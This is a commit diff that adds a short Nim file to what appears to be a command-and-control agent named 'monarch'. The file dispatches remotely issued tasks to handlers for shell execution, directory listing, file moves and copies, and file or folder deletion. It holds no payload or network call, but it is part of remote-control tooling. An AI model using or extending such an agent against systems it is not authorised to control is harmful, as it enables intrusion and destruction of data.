Implemented agent registration to match new binary structure instead of json.
This commit is contained in:
24
src/agents/monarch/core/task.nim
Normal file
24
src/agents/monarch/core/task.nim
Normal file
@@ -0,0 +1,24 @@
|
||||
import strutils, tables, json
|
||||
|
||||
import ../agentTypes
|
||||
import ../commands/commands
|
||||
import ../../../common/[types, utils]
|
||||
import sugar
|
||||
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
let handlers = {
|
||||
CMD_SLEEP: taskSleep,
|
||||
CMD_SHELL: taskShell,
|
||||
CMD_PWD: taskPwd,
|
||||
CMD_CD: taskCd,
|
||||
CMD_LS: taskDir,
|
||||
CMD_RM: taskRm,
|
||||
CMD_RMDIR: taskRmdir,
|
||||
CMD_MOVE: taskMove,
|
||||
CMD_COPY: taskCopy
|
||||
}.toTable
|
||||
|
||||
# Handle task command
|
||||
return handlers[cast[CommandType](task.command)](config, task)
|
||||
|
||||
Reference in New Issue
Block a user